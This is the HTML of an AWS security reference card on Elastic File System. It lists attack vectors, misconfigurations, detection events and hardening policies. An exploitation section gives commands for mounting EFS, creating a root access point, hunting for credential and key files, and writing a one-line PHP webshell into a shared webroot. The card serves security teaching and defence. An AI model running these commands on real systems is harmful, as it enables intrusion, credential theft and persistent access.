aws-security-cards/cards/html/efs.html at main · TocConsulting/aws-security-cards · GitHub

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<!DOCTYPE html>
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<title>AWS EFS Security | AWS Security Cards</title>
<meta name="description" content="Elastic File System (EFS) provides scalable NFS file storage for EC2 and containers. Shared storage means shared risk - one compromised client can affect all connected systems.">
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</head>
<body>

<!-- Card Image -->
<div class="card-image">
  <img src="../images/efs-card.webp" alt="AWS EFS Security" />
</div>

<!-- Header -->
<div class="header">
  <div class="header-content">
    <div class="header-icon"><img src="../icons/efs.svg" alt="AWS EFS Security" /></div>
    <div>
      <div>
        <span class="header-title">AWS EFS Security</span>
        <span class="header-badge">FILE STORAGE</span>
      </div>
      <p class="header-desc">Elastic File System (EFS) provides scalable NFS file storage for EC2 and containers. Shared storage means shared risk - one compromised client can affect all connected systems.</p>
    </div>
  </div>
</div>

<!-- Stats -->
<div class="stats-row">
        <div class="stat-card">
          <div class="stat-value" style="color: #f87171;">HIGH</div>
          <div class="stat-label">Risk Level</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #4ade80;">NFSv4</div>
          <div class="stat-label">Protocol</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #60a5fa;">Regional</div>
          <div class="stat-label">Scope</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #c084fc;">Shared</div>
          <div class="stat-label">Access</div>
        </div></div>

<!-- Overview -->
<div class="section"><h2><span style="color:#22c55e;">&#x1F4CB;</span> Service Overview</h2><div class="overview-grid">
        <div>
          <h4 style="color: #22c55e;">Mount Targets</h4>
          <p>EFS creates mount targets in each AZ for access. EC2 instances, ECS tasks, and Lambda functions connect via NFS. Multiple clients can mount simultaneously.</p>
          <div class="attack-note"><span style="color:#22c55e;">Attack note:</span> One compromised client can read/write files affecting all other clients</div>
        </div>
        <div>
          <h4 style="color: #22c55e;">Access Points</h4>
          <p>Application-specific entry points with enforced POSIX user/group and root directory. Can require IAM authorization for additional access control.</p>
          <div class="attack-note"><span style="color:#22c55e;">Attack note:</span> Misconfigured access points may grant root access or expose sensitive directories</div>
        </div></div></div>

<!-- Risk Assessment -->

<div class="section">
  <h2>Security Risk Assessment</h2>
  <div class="risk-gauge">
    <div class="risk-bar-container">
      <div class="risk-bar">
        <div class="risk-bar-fill" style="width: 75%;"></div>
      </div>
      <div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
    </div>
    <div class="risk-score">
      <div class="risk-score-value">7.5</div>
      <div class="risk-score-label">Risk Score</div>
    </div>
  </div>
  <p class="risk-desc">EFS shared storage amplifies compromise impact - one vulnerable client endangers all. Overly permissive file system policies allow unauthorized mounting and data access.</p>
</div>

<!-- Main Panels -->
<div class="panels-grid">
      <div class="panel" style="border-color: #f8717133;">
        <h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">File System Access</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Overly permissive file system policy</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Public mount targets via security groups</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> No encryption in transit</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Weak access point permissions</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Cross-VPC mount via peering</li></ul><h4 style="color: #f87171;">Data Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Read sensitive files from shared storage</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Modify application code/configs</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Plant backdoors in shared directories</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Steal credentials from mounted paths</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Ransomware entire file system</li></ul></div>
      <div class="panel" style="border-color: #fb923c33;">
        <h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Policy Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> File system policy allows Principal: *</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No IAM authorization required</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Missing VPC/subnet conditions</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Root access via access points</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No encryption at rest</li></ul><h4 style="color: #fb923c;">Network Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Security groups too open (0.0.0.0/0)</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> NFS port 2049 exposed publicly</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No TLS enforcement for mounts</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Missing VPC endpoint for private access</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Cross-account access too permissive</li></ul></div>
      <div class="panel" style="border-color: #22d3ee33;">
        <h3 style="color: #22d3ee;">🔍 Enumeration</h3>
        <div class="cmd-block">
          <div class="cmd-title">List File Systems</div>
          <pre><code>aws efs describe-file-systems</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Mount Targets</div>
          <pre><code>aws efs describe-mount-targets \\
  --file-system-id fs-xxx</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get File System Policy</div>
          <pre><code>aws efs describe-file-system-policy \\
  --file-system-id fs-xxx</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Access Points</div>
          <pre><code>aws efs describe-access-points \\
  --file-system-id fs-xxx</code></pre>
        </div></div>
      <div class="panel" style="border-color: #c084fc33;">
        <h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">File-Based Attacks</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Mount and access sensitive files</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Write malicious scripts to shared paths</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Replace binaries on shared mounts</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Plant SSH keys in home directories</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Modify cron jobs via shared configs</li></ul><h4 style="color: #c084fc;">Cross-Service Pivot</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Lambda with EFS mount → EC2 pivot</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> ECS task to other containers via EFS</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Access secrets in shared config files</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Abuse root access points</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Exploit POSIX permission misconfigs</li></ul><div class="note"><strong>Key Risk:</strong> Shared web roots allow planting webshells that execute on all connected web servers.</div></div>
      <div class="panel" style="border-color: #facc1533;">
        <h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">File System Persistence</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Drop backdoor in shared directory</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Modify startup/init scripts</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Create hidden directories (.hidden)</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Plant SSH keys in user home dirs</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Cron job via shared cron.d</li></ul><h4 style="color: #facc15;">Impact</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Persist across instance reboots</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Affect all clients mounting EFS</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Survive instance termination</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Maintain access via webshells</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Data exfiltration over time</li></ul></div>
      <div class="panel" style="border-color: #4ade8033;">
        <h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateMountTarget - new mount point</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> PutFileSystemPolicy - policy changed</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateAccessPoint - new access point</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> DeleteMountTarget - mount removed</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> ModifyMountTargetSecurityGroups</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> VPC Flow Logs: unusual NFS traffic</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> File integrity monitoring alerts</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> New access points created</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Policy modifications</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Unusual mount locations</li></ul></div></div>

<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">&#x1F4BB;</span> Exploitation Commands</h2><div class="cmd-grid">
        <div class="cmd-block">
          <div class="cmd-title">Mount EFS (from EC2)</div>
          <pre><code>sudo mount -t nfs4 -o nfsvers=4.1 \\
  fs-xxx.efs.us-east-1.amazonaws.com:/ /mnt/efs</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Mount with TLS (efs-utils)</div>
          <pre><code>sudo mount -t efs -o tls fs-xxx:/ /mnt/efs</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Modify File System Policy</div>
          <pre><code>aws efs put-file-system-policy \\
  --file-system-id fs-xxx \\
  --policy '{&quot;Version&quot;:&quot;2012-10-17&quot;,&quot;Statement&quot;:[...]}'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Create Root Access Point</div>
          <pre><code>aws efs create-access-point \\
  --file-system-id fs-xxx \\
  --posix-user Uid=0,Gid=0 \\
  --root-directory Path=/</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Find Sensitive Files</div>
          <pre><code>find /mnt/efs -name &quot;*.env&quot; -o -name &quot;*.pem&quot; \\
  -o -name &quot;credentials&quot; -o -name &quot;*.key&quot;</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Plant Webshell</div>
          <pre><code>echo '&lt;?php system($_GET[&quot;c&quot;]); ?&gt;' &gt; \\
  /mnt/efs/webroot/shell.php</code></pre>
        </div></div></div>

<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F4DC;</span> Policy Examples</h2><div class="policy-grid">
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Any Principal Can Mount</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: &quot;*&quot;,
    &quot;Action&quot;: [
      &quot;elasticfilesystem:ClientMount&quot;,
      &quot;elasticfilesystem:ClientWrite&quot;
    ],
    &quot;Resource&quot;: &quot;*&quot;
  }]
}
// Any principal can mount and write!</code></pre>
          <p class="policy-desc">Anyone with network access can mount and write to the file system</p>
        </div>
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Root Access Point</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: {&quot;AWS&quot;: &quot;*&quot;},
    &quot;Action&quot;: [
      &quot;elasticfilesystem:ClientMount&quot;,
      &quot;elasticfilesystem:ClientWrite&quot;,
      &quot;elasticfilesystem:ClientRootAccess&quot;
    ],
    &quot;Resource&quot;: &quot;*&quot;
  }]
}
// ClientRootAccess = uid 0 = full control</code></pre>
          <p class="policy-desc">ClientRootAccess grants uid 0 on the file system - attacker owns every file</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - VPC and Role Restricted</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: {
      &quot;AWS&quot;: &quot;arn:aws:iam::123456789012:role/AppRole&quot;
    },
    &quot;Action&quot;: [&quot;elasticfilesystem:ClientMount&quot;],
    &quot;Condition&quot;: {
      &quot;Bool&quot;: {
        &quot;elasticfilesystem:AccessedViaMountTarget&quot;: &quot;true&quot;
      },
      &quot;StringEquals&quot;: {&quot;aws:SourceVpc&quot;: &quot;vpc-12345&quot;}
    }
  }]
}</code></pre>
          <p class="policy-desc">Only specific role from specific VPC via mount target</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Deny Root &amp; Enforce TLS</span>
          </div>
          <pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Principal&quot;: &quot;*&quot;,
    &quot;Action&quot;: &quot;*&quot;,
    &quot;Resource&quot;: &quot;*&quot;,
    &quot;Condition&quot;: {
      &quot;Bool&quot;: {
        &quot;aws:SecureTransport&quot;: &quot;false&quot;
      }
    }
  }, {
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Principal&quot;: &quot;*&quot;,
    &quot;Action&quot;: &quot;elasticfilesystem:ClientRootAccess&quot;,
    &quot;Resource&quot;: &quot;*&quot;
  }]
}</code></pre>
          <p class="policy-desc">Denies unencrypted connections and blocks root access for all principals</p>
        </div></div></div>

<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F6E1;&#xFE0F;</span> Defense Recommendations</h2><div class="defense-grid">
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔐</span>
            <div>
              <h4>Enable Encryption in Transit</h4>
              <p>Require TLS for all NFS connections using efs-utils.</p>
              <pre><code>mount -t efs -o tls fs-xxx:/ /mnt/efs</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔑</span>
            <div>
              <h4>Require IAM Authorization</h4>
              <p>Enforce identity-based access control for mounting.</p>
              <pre><code>&quot;Condition&quot;: {&quot;Bool&quot;: {
  &quot;elasticfilesystem:AccessedViaMountTarget&quot;: &quot;true&quot;
}}</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🚪</span>
            <div>
              <h4>Use Access Points</h4>
              <p>Enforce POSIX user/group and chroot to specific directories.</p>
              <pre><code>aws efs create-access-point \\
  --posix-user Uid=1000,Gid=1000 \\
  --root-directory Path=/app</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🌐</span>
            <div>
              <h4>VPC Restriction in Policy</h4>
              <p>Limit mount access to specific VPCs in file system policy.</p>
              <pre><code>&quot;Condition&quot;: {&quot;StringEquals&quot;: {
  &quot;aws:SourceVpc&quot;: &quot;vpc-xxx&quot;
}}</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔒</span>
            <div>
              <h4>Security Group Lockdown</h4>
              <p>Restrict NFS port 2049 to only known application subnets.</p>
              <pre><code>aws ec2 authorize-security-group-ingress \\
  --port 2049 --cidr 10.0.1.0/24</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🗝️</span>
            <div>
              <h4>Enable Encryption at Rest</h4>
              <p>Encrypt data at rest with KMS customer managed keys.</p>
              <pre><code>aws efs create-file-system \\
  --encrypted --kms-key-id alias/efs-key</code></pre>
            </div>
          </div>
        </div></div></div>

<!-- Footer -->
<div class="footer">
  <p>AWS EFS Security Card</p>
  <p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>

</body>
</html>